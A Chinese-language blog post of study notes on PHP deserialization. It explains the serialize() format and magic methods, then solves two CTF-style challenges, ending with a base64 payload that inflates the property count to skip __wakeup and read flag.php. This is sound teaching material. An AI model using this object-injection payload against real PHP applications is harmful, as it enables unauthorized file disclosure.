php反序列化學習

記錄下PHP反序列化漏洞學習筆記。

簡介

php序列化 化對象爲壓縮格式化的字符串

反序列化 將壓縮格式化的字符串還原

php序列化是爲了將對象或者變量永久存儲的一種方案。

序列化

在瞭解反序列化之前我們首先要知道什麼是序列化。
在php中,序列化函數是serialize(),我們先來寫一個簡單的序列化。

<?php
class User {
    public $name;
    private $sex;
    protected $money = 1000;

    public function __construct($data, $sex) {
        $this->data = $data;
        $this->sex = $sex;
    }
}
$number = 66;
$str = 'Y4er';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$user = new User('jack', 'male');

var_dump(serialize($number));
echo '<hr>';
var_dump(serialize($str));
echo '<hr>';
var_dump(serialize($bool));
echo '<hr>';
var_dump(serialize($null));
echo '<hr>';
var_dump(serialize($arr));
echo '<hr>';
var_dump(serialize($user));

在這裏我們分別序列化了數字、字符串、布爾值、空、數組、對象。看下輸出結果

string(5) "i:66;"
string(11) "s:4:"Y4er";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(99) "O:4:"User":4:{s:4:"name";N;s:9:"Usersex";s:4:"male";s:8:"*money";i:1000;s:4:"data";s:4:"jack";}"

以此我們知道序列化不同類型的格式爲

  • Integer : i:value;
  • String : s:size:value;
  • Boolean : b:value;(保存1或0)
  • Null : N;
  • Array : a:size:{key definition;value definition;(repeated per element)}
  • Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
    在這裏需要注意一點就是object的private和protected屬性的長度問題:
    string(99) "O:4:"User":4:{s:4:"name";N;s:9:"Usersex";s:4:"male";s:8:"*money";i:1000;s:4:"data";s:4:"jack";}"
    可以看到Usersex的長度爲9,是因爲php序列化屬性值時,如果是private或者protected會自動在類名兩邊添加一個空字節,如果是url編碼用%00,如果是ASCII編碼用\00,都是表示一個空字節。
  1. %00User%00sex 表示 private
  2. %00*%00money 表示protected

反序列化

反序列化是將字符串轉換爲原來的變量或對象,簡單寫一個例子。

<?php

class User
{
    public $name='Y4er';

    function __wakeup()
    {
        echo $this->name;
    }
}

$me = new User();
echo serialize($me);
echo '<hr>';
unserialize($_GET['id']);

可以看到,我們將序列化之後的字符串通過id傳給unserialize函數之後,執行了__wakeup()函數,輸出了Y4er字符串。

那麼我們如果改變O:4:"User":1:{s:4:"name";s:4:"Y4er";}中的Y4er字符串,精心構造一個對象是不是可以隨意輸出呢?答案當然是肯定的,所以反序列化漏洞的產生就在於__wakeup中存在可控字段。

那麼__wakeup是什麼函數呢?爲什麼他會自己運行呢?有沒有其他類似的函數呢?

魔術方法

在php中,有着一系列的魔術方法,他們和C#中的構造方法相似,都是在某一條件滿足下自動運行,一般用於初始化對象。我們在這裏列舉一些

__construct()//創建對象時觸發
__destruct() //對象被銷燬時觸發
__call() //在對象上下文中調用不可訪問的方法時觸發
__callStatic() //在靜態上下文中調用不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取數據
__set() //用於將數據寫入不可訪問的屬性
__isset() //在不可訪問的屬性上調用isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__invoke() //當腳本嘗試將對象調用爲函數時觸發
__toString() //把類當作字符串使用時觸發
__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發</pre>

我們在上文中用到了__wakeup函數,在使用unserialize()時自動輸出了$this->name。在瞭解完魔術方法之後,我們來看幾道題。

D0g3 熱身反序列化

題目如下,我稍微修改了一下。

<?php
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "You get Flag!!!";
}
show_source(__FILE__);

很簡單的一道題,要求就是通過get傳進去的str參數經過反序列化之後要等於D0g3!!!,那麼我們直接將D0g3!!!序列化一下,然後通過str參數就可以了。

echo serialize("D0g3!!!");

輸出s:7:"D0g3!!!";

然後訪問http://php.local/unserialize.php?str=s:7:"D0g3!!!";拿到flag。

__wakeup反序列化對象注入

<?php

class SoFun
{
    protected $file = 'index.php';

    function __destruct()
    {
        if (!empty($this->file)) {
            if (strchr($this->file, "\\") === false && strchr($this->file, '/') === false) {
                show_source(dirname(__FILE__) . '/' . $this->file);
            } else {
                die('Wrong filename.');
            }
        }
    }

    function __wakeup()
    {
        $this->file = 'index.php';
    }

    public function __toString()
    {
        return '';
    }
}

if (!isset($_GET['file'])) {
    show_source('index.php');
} else {
    $file = base64_decode($_GET['file']);
    echo unserialize($file);
}
?>   #<!--key in flag.php-->

首先閱讀題意,可以看到要通過base64傳遞file參數來反序列化將$file變量改變爲flag.php,從而讀出flag。

但是有一個問題,__wakeup函數是在反序列化時就執行,而__destruct是在對象銷燬時執行,也就是說__wakeup__destruct先執行,而__wakeup會執行$this->file = 'index.php';,所以我們現在要想辦法將file變成flag.php並且要繞過__wakeup函數調用__destruct函數。

這裏用到了一個PHP反序列化對象注入漏洞,當序列化字符串中,表示對象屬性個數的值大於實際屬性個數時,那麼就會跳過wakeup方法的執行。

首先準備反序列化對象

$i = new SoFun();
echo serialize($i);

O:5:"SoFun":1:{s:7:"*file";s:9:"index.php";}
我們需要將file的%00補上
O:5:"SoFun":1:{s:7:"%00*%00file";s:9:"index.php";}
修改flag.php
O:5:"SoFun":1:{s:7:"%00*%00file";s:8:"flag.php";}
繞過wakeup
O:5:"SoFun":2:{s:7:"%00*%00file";s:8:"flag.php";}
然後需要urldecode一下,將%00轉爲空字節,最後base64之後就是payload了
http://php.local/index.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
照抄Y4er大佬的文章https://y4er.com/post/unserialize/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章